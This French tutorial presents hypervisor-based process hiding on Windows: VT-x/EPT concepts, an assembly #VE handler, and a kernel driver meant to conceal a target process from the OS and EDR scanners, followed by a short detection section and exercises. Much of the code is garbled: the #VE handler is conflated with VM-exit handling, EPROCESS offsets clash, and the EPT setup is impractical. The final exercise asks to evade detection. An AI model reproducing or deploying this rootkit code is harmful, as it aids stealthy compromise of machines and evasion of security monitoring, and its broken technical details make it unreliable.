Technique avancée de process hiding via hyperviseur avec #VE handler, EPT manipulation et memory stealth | Pour la recherche en sécurité hardware et virtualisation
La virtualisation hardware (Intel VT-x / AMD-V) permet d'exécuter un hyperviseur au niveau ring -1, offrant un contrôle total sur la mémoire et l'exécution des processus. En 2026, cette technique est utilisée par les acteurs avancés pour cacher complètement des processus aux systèmes d'exploitation et aux EDR.
Extension hardware permettant la création d'hyperviseurs de type 1 (bare-metal) et de type 2 (hosted).
Mécanisme de traduction d'adresses mémoire entre guest physical et host physical memory.
Exception déclenchée lorsqu'un guest tente d'accéder à une page mémoire marquée avec des bits spéciaux dans l'EPT.
Instructions VMX pour entrer/sortir du mode VMX et gérer les transitions entre host et guest.
Le #VE handler est au cœur de la technique de process hiding. Il intercepte les accès mémoire spécifiques et peut retourner des données falsifiées au système invité.
// Structure pour configurer les bits EPT
typedef struct _EPT_VIOLATION_CONFIG {
UINT64 target_gpa; // Guest Physical Address à protéger
UINT64 hidden_process_gpa; // GPA du processus à cacher
UINT64 fake_gpa; // GPA avec données falsifiées
UINT8 access_type; // READ(0)/WRITE(1)/EXEC(2)
} EPT_VIOLATION_CONFIG;
// Bits EPT pour déclencher #VE
#define EPT_READ_VIOLATION (1 << 0)
#define EPT_WRITE_VIOLATION (1 << 1)
#define EPT_EXEC_VIOLATION (1 << 2)
#define EPT_MISCONFIG (1 << 3)
; ====================================================================
; #VE HANDLER - Assembly x64 pour Intel VT-x
; ====================================================================
[BITS 64]
section .text
global ve_handler_entry
ve_handler_entry:
; Sauvegarde du contexte
push r15
push r14
push r13
push r12
push r11
push r10
push r9
push r8
push rdi
push rsi
push rbp
push rsp
push rbx
push rdx
push rcx
push rax
; Récupérer le GPA (Guest Physical Address) depuis VMCS
mov rcx, 0x00002400 ; VMCS_GUEST_PHYSICAL_ADDRESS
vmread rax, rcx
mov [gpa_access], rax
; Récupérer le RIP (Instruction Pointer)
mov rcx, 0x0000681E ; VMCS_GUEST_RIP
vmread rax, rcx
mov [rip_access], rax
; Analyser le type d'accès
mov rcx, 0x0000400C ; VMCS_EXIT_QUALIFICATION
vmread rax, rcx
mov [exit_qual], rax
; Vérifier si c'est un accès à une zone cachée
mov rdi, [gpa_access]
call is_hidden_address
test rax, rax
jz .normal_access
; ============================================
; CAS 1: Accès à une zone cachée (process hidden)
; ============================================
.hidden_access:
; Vérifier le type d'accès
mov rax, [exit_qual]
and rax, 0x7 ; Bits 0-2: Type d'accès
cmp rax, 0 ; Lecture
je .handle_read
cmp rax, 1 ; Écriture
je .handle_write
cmp rax, 2 ; Exécution
je .handle_exec
; Par défaut, bloquer l'accès
jmp .block_access
.handle_read:
; Pour les lectures, retourner des données falsifiées
mov rdi, [gpa_access]
call generate_fake_data
; Écrire les données falsifiées dans le registre approprié
; Basé sur l'instruction qui a causé le #VE
mov rcx, 0x00001C1C ; VMCS_GUEST_RAX
mov rdx, [fake_data_buffer]
vmwrite rcx, rdx
; Ajuster le RIP pour continuer après l'instruction
mov rax, [rip_access]
add rax, [instr_length]
mov rcx, 0x0000681E ; VMCS_GUEST_RIP
vmwrite rcx, rax
jmp .ve_exit
.handle_write:
; Pour les écritures, simplement ignorer (ou journaliser)
; Ajuster le RIP pour continuer
mov rax, [rip_access]
add rax, [instr_length]
mov rcx, 0x0000681E ; VMCS_GUEST_RIP
vmwrite rcx, rax
jmp .ve_exit
.handle_exec:
; Pour l'exécution, rediriger vers un stub safe
mov rcx, 0x0000681E ; VMCS_GUEST_RIP
mov rdx, safe_stub
vmwrite rcx, rdx
jmp .ve_exit
.block_access:
; Configurer pour injecter un #GP dans le guest
mov rcx, 0x00004002 ; VMCS_IDT_VECTORING_INFO
mov rdx, 0x80000D #GP avec valid bit
vmwrite rcx, rdx
jmp .ve_exit
; ============================================
; CAS 2: Accès normal - permettre
; ============================================
.normal_access:
; Réactiver l'accès en modifiant les bits EPT
mov rdi, [gpa_access]
call enable_ept_access
; Réessayer l'instruction
jmp .ve_exit
.ve_exit:
; Restauration du contexte
pop rax
pop rcx
pop rdx
pop rbx
pop rsp
pop rbp
pop rsi
pop rdi
pop r8
pop r9
pop r10
pop r11
pop r12
pop r13
pop r14
pop r15
; Retour du #VE handler
vmresume
; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================
is_hidden_address:
; rdi = GPA à vérifier
; Retourne 1 si caché, 0 sinon
mov rax, [hidden_process_base]
cmp rdi, rax
jb .not_hidden
mov rbx, [hidden_process_end]
cmp rdi, rbx
ja .not_hidden
mov rax, 1
ret
.not_hidden:
xor rax, rax
ret
generate_fake_data:
; rdi = GPA original
; Génère des données falsifiées dans [fake_data_buffer]
; Pour un EPROCESS caché, génère une structure vide ou d'un autre processus
mov rsi, fake_eprocess_template
mov rdi, fake_data_buffer
mov rcx, 0x200 ; Taille EPROCESS approximative
rep movsb
ret
safe_stub:
; Stub d'exécution safe
xor eax, eax
ret
; ====================================================================
; DONNÉES
; ====================================================================
section .data
gpa_access: dq 0
rip_access: dq 0
exit_qual: dq 0
instr_length: dq 0
hidden_process_base:dq 0xFFFFF80000000000 ; Exemple d'adresse
hidden_process_end: dq 0xFFFFF80000001000
fake_data_buffer: times 512 db 0
fake_eprocess_template:
; Structure EPROCESS falsifiée
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ; Pcb
; ... remplir avec des données plausibles mais inoffensives
Voici le code complet pour un hyperviseur minimal qui implémente le process hiding via #VE handler et EPT manipulation.
// ====================================================================
// HYPERVISOR MINIMAL POUR PROCESS HIDING - Version 2026
// ====================================================================
#include
#include
#define PAGE_SIZE 4096
#define EPT_PML4_INDEX(addr) (((addr) >> 39) & 0x1FF)
#define EPT_PDPT_INDEX(addr) (((addr) >> 30) & 0x1FF)
#define EPT_PD_INDEX(addr) (((addr) >> 21) & 0x1FF)
#define EPT_PT_INDEX(addr) (((addr) >> 12) & 0x1FF)
// Structures VMX
typedef struct _VMX_EPT_POINTER {
UINT64 memory_type : 3;
UINT64 page_walk_length : 3;
UINT64 accessed_dirty_enable : 1;
UINT64 reserved1 : 5;
UINT64 pml4_address : 36;
UINT64 reserved2 : 16;
} VMX_EPT_POINTER;
typedef struct _VMCS_CONFIG {
UINT64 host_rip;
UINT64 host_rsp;
UINT64 guest_rip;
UINT64 guest_rsp;
UINT64 ept_pointer;
UINT64 msr_bitmap;
UINT64 io_bitmap_a;
UINT64 io_bitmap_b;
} VMCS_CONFIG;
// Variables globales
static VMCS_CONFIG g_vmcs = {0};
static UINT64* g_ept_pml4 = NULL;
static UINT64 g_hidden_process_cr3 = 0;
static UINT64 g_hidden_process_base = 0;
// ====================================================================
// INITIALISATION VMX
// ====================================================================
NTSTATUS InitializeVMX() {
NTSTATUS status = STATUS_SUCCESS;
// 1. Vérifier le support VT-x
int cpu_info[4];
__cpuid(cpu_info, 1);
if (!(cpu_info[2] & (1 << 5))) { // Bit 5 = VT-x support
DbgPrint("[-] VT-x non supporté\n");
return STATUS_NOT_SUPPORTED;
}
// 2. Activer VMX dans CR4
__writecr4(__readcr4() | 0x2000); // CR4.VMXE = 1
// 3. Écrire VMXON region
UINT64 vmxon_region = (UINT64)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'VMX1');
if (!vmxon_region) {
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory((PVOID)vmxon_region, PAGE_SIZE);
*(UINT32*)vmxon_region = 0; // Revision identifier
// 4. Entrer en mode VMX
__vmx_on(&vmxon_region);
// 5. Allouer et configurer VMCS
UINT64 vmcs_region = (UINT64)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'VMCS');
if (!vmcs_region) {
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory((PVOID)vmcs_region, PAGE_SIZE);
*(UINT32*)vmcs_region = 0;
__vmx_vmptrld(&vmcs_region);
return status;
}
// ====================================================================
// CONFIGURATION EPT (Extended Page Tables)
// ====================================================================
NTSTATUS SetupEPT() {
// 1. Allouer PML4
g_ept_pml4 = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPTP');
if (!g_ept_pml4) {
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory(g_ept_pml4, PAGE_SIZE);
// 2. Créer la hiérarchie EPT complète
for (int i = 0; i < 512; i++) {
UINT64* pdpt = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPDP');
if (!pdpt) {
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory(pdpt, PAGE_SIZE);
for (int j = 0; j < 512; j++) {
UINT64* pd = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPPD');
if (!pd) {
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory(pd, PAGE_SIZE);
for (int k = 0; k < 512; k++) {
// Allouer une page physique pour la table finale
PHYSICAL_ADDRESS pa = MmGetPhysicalAddress(pd);
UINT64* pt = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPPT');
for (int l = 0; l < 512; l++) {
// Calculer l'adresse physique correspondante
UINT64 gpa = ((UINT64)i << 39) | ((UINT64)j << 30) | ((UINT64)k << 21) | ((UINT64)l << 12);
// Mapper GPA vers HPA (identity mapping par défaut)
UINT64 entry = gpa | 0x07; // RWX permissions
// Pour les pages du processus caché, configurer des bits spéciaux
if (gpa >= g_hidden_process_base && gpa < (g_hidden_process_base + 0x1000)) {
entry |= (1ULL << 63); // Bit supprimé pour déclencher #VE
entry &= ~0x07; // Enlever les permissions
}
pt[l] = entry;
}
// Lier la page table au page directory
PHYSICAL_ADDRESS pt_pa = MmGetPhysicalAddress(pt);
pd[k] = pt_pa.QuadPart | 0x07;
}
// Lier le page directory au pdpt
PHYSICAL_ADDRESS pd_pa = MmGetPhysicalAddress(pd);
pdpt[j] = pd_pa.QuadPart | 0x07;
}
// Lier le pdpt au PML4
PHYSICAL_ADDRESS pdpt_pa = MmGetPhysicalAddress(pdpt);
g_ept_pml4[i] = pdpt_pa.QuadPart | 0x07;
}
// 3. Configurer le pointeur EPT dans le VMCS
VMX_EPT_POINTER ept_ptr = {0};
ept_ptr.memory_type = 6; // Write-back
ept_ptr.page_walk_length = 3; // 4 niveaux
ept_ptr.accessed_dirty_enable = 1;
ept_ptr.pml4_address = MmGetPhysicalAddress(g_ept_pml4).QuadPart >> 12;
__vmx_vmwrite(0x0000201A, *(UINT64*)&ept_ptr); // VMCS_EPT_POINTER
return STATUS_SUCCESS;
}
// ====================================================================
#VE HANDLER - Version C
// ====================================================================
UINT64 HandleVectoredException(UINT64 gpa, UINT64 exit_qualification) {
// Vérifier si c'est un accès au processus caché
if (gpa >= g_hidden_process_base && gpa < (g_hidden_process_base + 0x1000)) {
UINT8 access_type = exit_qualification & 0x7;
switch (access_type) {
case 0: // Lecture
return GenerateFakeEprocessData(gpa);
case 1: // Écriture
// Journaliser silencieusement
LogStealthAccess(gpa, exit_qualification);
return 0; // Ignorer l'écriture
case 2: // Exécution
return (UINT64)SafeStub;
default:
return 0;
}
}
// Pour les autres accès, permettre normalement
return 0;
}
UINT64 GenerateFakeEprocessData(UINT64 gpa) {
// Générer une structure EPROCESS falsifiée
static UINT8 fake_eprocess[512] = {0};
// Remplir avec des données plausibles mais inoffensives
*(UINT64*)(fake_eprocess + 0x2E0) = 0x4; // ActiveProcessLinks
*(UINT64*)(fake_eprocess + 0x2E8) = 0x4;
*(UINT64*)(fake_eprocess + 0x400) = 0xFFFFF80000000000; // DirectoryTableBase
// PID et nom de processus falsifiés
*(UINT64*)(fake_eprocess + 0x2E0) = 0x4; // UniqueProcessId
*(UINT64*)(fake_eprocess + 0x450) = 0x0000000000000000; // ImageFileName
return (UINT64)fake_eprocess;
}
// ====================================================================
// HOOK DES SYSCALLS DE LISTING DE PROCESSUS
// ====================================================================
VOID HookProcessListingAPIs() {
// 1. NtQuerySystemInformation (classe SystemProcessInformation)
// 2. NtQueryInformationProcess
// 3. NtGetNextProcess
// Technique: Modifier les handlers dans la SSDT ou utiliser EPT
// pour rediriger les appels vers nos fonctions
// Exemple: Hook via EPT en marquant les pages de code comme exécutables seulement
// et interceptant les lectures de la SSDT
}
// ====================================================================
// FONCTION PRINCIPALE DU DRIVER
// ====================================================================
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
NTSTATUS status = STATUS_SUCCESS;
DbgPrint("[+] Hypervisor-based Process Hiding Driver Loading\n");
// 1. Initialiser VMX
status = InitializeVMX();
if (!NT_SUCCESS(status)) {
DbgPrint("[-] Échec de l'initialisation VMX\n");
return status;
}
// 2. Configurer EPT
status = SetupEPT();
if (!NT_SUCCESS(status)) {
DbgPrint("[-] Échec de la configuration EPT\n");
return status;
}
// 3. Configurer le #VE handler
__vmx_vmwrite(0x00004000, (UINT64)HandleVectoredException); // VMCS_VECTORED_EXCEPTION_INFO
// 4. Détecter et cacher un processus cible
FindAndHideTargetProcess();
// 5. Hooker les APIs de listing
HookProcessListingAPIs();
// 6. Lancer la VM
__vmx_vmlaunch();
DbgPrint("[+] Hypervisor actif - Processus caché\n");
return status;
}
// ====================================================================
// CLEANUP
// ====================================================================
VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
DbgPrint("[+] Désactivation de l'hyperviseur\n");
// 1. Sortir du mode VMX
__vmx_off();
// 2. Libérer la mémoire EPT
if (g_ept_pml4) {
ExFreePoolWithTag(g_ept_pml4, 'EPTP');
}
DbgPrint("[+] Hypervisor désactivé\n");
}
// Technique: Diviser l'EPT pour cacher seulement certaines régions
VOID SetupEPTSplitting(UINT64 hidden_base, UINT64 hidden_size) {
// Créer deux ensembles EPT:
// 1. EPT normal pour la plupart de la mémoire
// 2. EPT spécial pour les régions cachées
for (UINT64 addr = hidden_base; addr < hidden_base + hidden_size; addr += PAGE_SIZE) {
// Marquer la page comme "not present" dans l'EPT normal
UINT64* ept_entry = GetEPTEntry(addr);
*ept_entry &= ~(1ULL << 0); // Clear present bit
// Mais la garder dans l'EPT secondaire
UINT64* hidden_ept_entry = GetHiddenEPTEntry(addr);
*hidden_ept_entry = GetPhysicalAddress(addr) | 0x07;
}
}
// Créer un miroir des pages pour retourner des données falsifiées
VOID CreatePageMirror(UINT64 original_gpa, UINT64 fake_gpa) {
// 1. Copier le contenu original
PVOID original_data = MapGPAtoHVA(original_gpa);
PVOID fake_data = MapGPAtoHVA(fake_gpa);
RtlCopyMemory(fake_data, original_data, PAGE_SIZE);
// 2. Modifier les données sensibles
PEPROCESS fake_eprocess = (PEPROCESS)fake_data;
fake_eprocess->UniqueProcessId = 0x4; // System PID
RtlZeroMemory(fake_eprocess->ImageFileName, 15);
// 3. Configurer EPT pour rediriger les lectures vers le miroir
UINT64* ept_entry = GetEPTEntry(original_gpa);
*ept_entry = GetPhysicalAddress(fake_gpa) | 0x05; // Read-only
}
// Cacher la mémoire seulement pendant certaines opérations
VOID TemporalHideMemory(UINT64 gpa, BOOLEAN hide) {
UINT64* ept_entry = GetEPTEntry(gpa);
if (hide) {
// Pendant les scans EDR, cacher
*ept_entry &= ~0x07; // Enlever permissions
*ept_entry |= (1ULL << 63); // Déclencher #VE
} else {
// Sinon, rendre accessible
*ept_entry |= 0x07; // RWX permissions
*ept_entry &= ~(1ULL << 63);
}
}
Mesurer le temps d'exécution des instructions VMX. Les hyperviseurs ajoutent de la latence.
Utiliser VMFUNC pour vérifier la présence d'un hyperviseur non autorisé.
Vérifier la cohérence des EPT en comparant les mappings GPA->HPA.
Utiliser Dynamic Root of Trust Measurements pour vérifier l'intégrité au boot.
Intel TXT, AMD SVM avec Secure Encrypted Virtualization (SEV).
Solutions comme Microsoft's HyperGuard surveillent l'hyperviseur lui-même.
// ====================================================================
// DETECTEUR D'HYPERVISEUR MALVEILLANT
// ====================================================================
BOOL DetectMaliciousHypervisor() {
BOOL detected = FALSE;
// 1. Vérifier le bit VMX dans CR4
UINT64 cr4 = __readcr4();
if (cr4 & 0x2000) {
DbgPrint("[!] VMX activé dans CR4\n");
detected = TRUE;
}
// 2. Timing attack sur VMCALL
UINT64 start = __rdtsc();
__try {
__vmx_vmcall();
} __except(EXCEPTION_EXECUTE_HANDLER) {
// Normalement, VMCALL cause #UD sans hyperviseur
}
UINT64 end = __rdtsc();
if ((end - start) > 1000) { // Seuil arbitraire
DbgPrint("[!] Timing anomalie détectée\n");
detected = TRUE;
}
// 3. Vérifier les MSRs VMX
UINT64 vmx_basic = __readmsr(0x480);
if (vmx_basic != 0) {
DbgPrint("[!] MSRs VMX configurés\n");
detected = TRUE;
}
// 4. Vérifier l'EPT via VMFUNC
__try {
UINT64 eptp_list[1] = {0};
__vmfunc(0, eptp_list); // EPTP switching
} __except(EXCEPTION_EXECUTE_HANDLER) {
// Sans EPT, cela cause une exception
detected = FALSE;
}
return detected;
}
// ====================================================================
// VÉRIFICATION D'INTÉGRITÉ EPT
// ====================================================================
BOOL CheckEPTIntegrity() {
// 1. Lire le pointeur EPT actuel
UINT64 ept_pointer = 0;
__vmx_vmread(0x0000201A, &ept_pointer);
// 2. Parcourir l'EPT et vérifier les mappings
UINT64* ept_pml4 = (UINT64*)(ept_pointer & ~0xFFF);
for (int i = 0; i < 512; i++) {
if (ept_pml4[i] & 0x1) { // Entry présente
UINT64* pdpt = (UINT64*)(ept_pml4[i] & ~0xFFF);
for (int j = 0; j < 512; j++) {
if (pdpt[j] & 0x1) {
UINT64* pd = (UINT64*)(pdpt[j] & ~0xFFF);
// Vérifier les permissions suspectes
for (int k = 0; k < 512; k++) {
if (pd[k] & 0x1) {
UINT64 permissions = pd[k] & 0x7;
// Pages avec permissions inhabituelles
if (permissions == 0 || permissions == 4) {
DbgPrint("[!] Permission EPT suspecte détectée\n");
return FALSE;
}
}
}
}
}
}
}
return TRUE;
}
Objectif : Implémenter un hyperviseur qui cache une page mémoire spécifique.
Objectif : Développer un outil de détection d'hyperviseur.
// Tâches :
1. Implémenter les timing attacks
2. Vérifier les MSRs VMX
3. Analyser les tables de pages (EPT vs normale)
4. Détecter les incohérences mémoire
5. Générer un rapport de détection
Objectif : Analyser un dump mémoire contenant un hyperviseur malveillant.
Objectif : Améliorer l'hyperviseur pour contourner les détections.